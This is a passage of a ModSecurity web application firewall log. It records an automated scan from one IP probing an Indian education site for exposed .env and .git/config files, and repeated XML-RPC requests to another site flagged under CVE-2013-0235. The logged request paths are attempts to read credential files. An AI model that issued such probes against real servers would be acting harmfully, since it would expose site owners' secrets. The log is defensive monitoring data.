(http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a0bff321-Z-- --e4a35e3a-A-- [16/Jun/2025:03:30:47.792242 +0530] aE9Cj1R6EeXjkGzEkblnlgAAAAs 185.177.72.210 33760 127.0.0.1 7081 --e4a35e3a-B-- GET /:5601/stats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e4a35e3a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=498e505bd0648035b2e3a27d450b2b021750024847; expires=Sun, 15 Jun 2025 23:00:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e4a35e3a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/stats/.env"] [unique_id "aE9Cj1R6EeXjkGzEkblnlgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024847137214 655116 (- - -) Stopwatch2: 1750024847137214 655116; combined=1850, p1=367, p2=1378, p3=0, p4=0, p5=105, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e4a35e3a-Z-- --d5f56d09-A-- [16/Jun/2025:03:30:51.662717 +0530] aE9Ck4l8S04UZ4l67-ng_gAAAAk 185.177.72.210 45238 127.0.0.1 7081 --d5f56d09-B-- GET /:5601/apps/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d5f56d09-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e2cbd24b5ddedcfd09770388b6efd2f71750024851; expires=Sun, 15 Jun 2025 23:00:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d5f56d09-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/apps/.env"] [unique_id "aE9Ck4l8S04UZ4l67-ng_gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024851004305 658478 (- - -) Stopwatch2: 1750024851004305 658478; combined=1844, p1=540, p2=1206, p3=0, p4=0, p5=97, sr=144, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d5f56d09-Z-- --e9b12923-A-- [16/Jun/2025:03:30:58.240199 +0530] aE9CmRAGYpjnkyifC9Yi3gAAAAU 128.199.112.101 45440 127.0.0.1 7081 --e9b12923-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e9b12923-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e9b12923-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9CmRAGYpjnkyifC9Yi3gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024857309213 931042 (- - -) Stopwatch2: 1750024857309213 931042; combined=2355, p1=418, p2=1530, p3=44, p4=66, p5=181, sr=116, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e9b12923-Z-- --8b54e642-A-- [16/Jun/2025:03:31:49.229761 +0530] aE9CzFR6EeXjkGzEkblnsAAAAAs 185.177.72.210 33630 127.0.0.1 7081 --8b54e642-B-- GET /:5601/stag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8b54e642-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3db4b4c6e32b82bae99238b715fc107e1750024909; expires=Sun, 15 Jun 2025 23:01:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8b54e642-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/stag/.env"] [unique_id "aE9CzFR6EeXjkGzEkblnsAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024908534551 695282 (- - -) Stopwatch2: 1750024908534551 695282; combined=1896, p1=391, p2=1421, p3=0, p4=0, p5=84, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8b54e642-Z-- --daabc768-A-- [16/Jun/2025:03:31:50.428063 +0530] aE9CzU6Jm8uWY207Wng-IQAAAAE 185.177.72.210 33230 127.0.0.1 7081 --daabc768-B-- GET /:5601/storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --daabc768-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=10fa3783c962ae5b78537eea1a664b7e1750024910; expires=Sun, 15 Jun 2025 23:01:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --daabc768-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/storage/.env"] [unique_id "aE9CzU6Jm8uWY207Wng-IQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024909724638 703487 (- - -) Stopwatch2: 1750024909724638 703487; combined=1703, p1=407, p2=1211, p3=0, p4=0, p5=85, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --daabc768-Z-- --29a74773-A-- [16/Jun/2025:03:31:56.713038 +0530] aE9C032GhYywD7zZgx789wAAAAM 185.177.72.210 33488 127.0.0.1 7081 --29a74773-B-- GET /:9000/admin/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --29a74773-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f87641532b053f05f3cd2204ca346f731750024916; expires=Sun, 15 Jun 2025 23:01:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --29a74773-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/admin/.env.staging"] [unique_id "aE9C032GhYywD7zZgx789wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024915974178 738954 (- - -) Stopwatch2: 1750024915974178 738954; combined=2085, p1=482, p2=1480, p3=0, p4=0, p5=123, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --29a74773-Z-- --8f8a1c7e-A-- [16/Jun/2025:03:31:58.175993 +0530] aE9C1XZqyQ8YfVGvJU7bcQAAAAY 128.199.112.101 33536 127.0.0.1 7081 --8f8a1c7e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8f8a1c7e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8f8a1c7e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9C1XZqyQ8YfVGvJU7bcQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024917234512 941572 (- - -) Stopwatch2: 1750024917234512 941572; combined=2251, p1=389, p2=1332, p3=56, p4=77, p5=251, sr=115, sw=146, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8f8a1c7e-Z-- --646d210d-A-- [16/Jun/2025:03:31:59.669463 +0530] aE9C14rLgrklqy57Kk2e7AAAAAg 185.177.72.210 33606 127.0.0.1 7081 --646d210d-B-- GET /bak/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --646d210d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=132535d0b7f3a1677f866644c5d7862b1750024919; expires=Sun, 15 Jun 2025 23:01:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --646d210d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env"] [unique_id "aE9C14rLgrklqy57Kk2e7AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024919015773 653762 (- - -) Stopwatch2: 1750024919015773 653762; combined=1983, p1=385, p2=1492, p3=0, p4=0, p5=105, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --646d210d-Z-- --38b50d25-A-- [16/Jun/2025:03:32:08.655510 +0530] aE9C31R6EeXjkGzEkblnugAAAAs 185.177.72.210 33934 127.0.0.1 7081 --38b50d25-B-- GET /:10000/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --38b50d25-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=de979f24555413a8c48b29ac6bdb92851750024928; expires=Sun, 15 Jun 2025 23:02:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --38b50d25-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/wp-content/.env"] [unique_id "aE9C31R6EeXjkGzEkblnugAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024927985834 669740 (- - -) Stopwatch2: 1750024927985834 669740; combined=2090, p1=449, p2=1557, p3=0, p4=0, p5=83, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38b50d25-Z-- --b8583f6c-A-- [16/Jun/2025:03:32:12.730981 +0530] aE9C5BAGYpjnkyifC9YjAgAAAAU 185.177.72.210 39408 127.0.0.1 7081 --b8583f6c-B-- GET /credentials/.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b8583f6c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aec937b6d1c80cdfe351db6a19886e731750024932; expires=Sun, 15 Jun 2025 23:02:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b8583f6c-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.git/config"] [unique_id "aE9C5BAGYpjnkyifC9YjAgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024932050513 680548 (- - -) Stopwatch2: 1750024932050513 680548; combined=1941, p1=386, p2=1454, p3=0, p4=0, p5=100, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8583f6c-Z-- --83f01a0d-A-- [16/Jun/2025:03:32:15.536806 +0530] aE9C5kNwpNEMJppxC49UpQAAAAI 185.177.72.210 39486 127.0.0.1 7081 --83f01a0d-B-- GET /:8443/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --83f01a0d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bde1be9cf4468aedde506c426e1209051750024935; expires=Sun, 15 Jun 2025 23:02:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --83f01a0d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env"] [unique_id "aE9C5kNwpNEMJppxC49UpQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024934877236 659631 (- - -) Stopwatch2: 1750024934877236 659631; combined=1742, p1=374, p2=1253, p3=0, p4=0, p5=114, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83f01a0d-Z-- --5f22dc00-A-- [16/Jun/2025:03:32:16.520413 +0530] aE9C5xAGYpjnkyifC9YjBAAAAAU 185.177.72.210 39554 127.0.0.1 7081 --5f22dc00-B-- GET /:5601/env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5f22dc00-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=adba7a10724bc0ae0e39b4c957691c231750024936; expires=Sun, 15 Jun 2025 23:02:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5f22dc00-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/env/.env"] [unique_id "aE9C5xAGYpjnkyifC9YjBAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024935863367 657136 (- - -) Stopwatch2: 1750024935863367 657136; combined=1578, p1=345, p2=1144, p3=0, p4=0, p5=89, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f22dc00-Z-- --11264e44-A-- [16/Jun/2025:03:32:27.473564 +0530] aE9C8rsEVBap6l1Fvp1C8gAAAAQ 185.177.72.210 38056 127.0.0.1 7081 --11264e44-B-- GET /:8008/test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --11264e44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6a6c31e5727719d16782ab43d26447f51750024947; expires=Sun, 15 Jun 2025 23:02:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --11264e44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/test/.env"] [unique_id "aE9C8rsEVBap6l1Fvp1C8gAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024946814846 658806 (- - -) Stopwatch2: 1750024946814846 658806; combined=1896, p1=399, p2=1411, p3=0, p4=0, p5=85, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --11264e44-Z-- --f5174b57-A-- [16/Jun/2025:03:32:36.688187 +0530] aE9C-x-kH31pk4mNbsVB5QAAAAo 185.177.72.210 39398 127.0.0.1 7081 --f5174b57-B-- GET /:8181/.env_1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f5174b57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=acc5dff2ed6737ed21e14bbbb14d52831750024956; expires=Sun, 15 Jun 2025 23:02:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f5174b57-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line 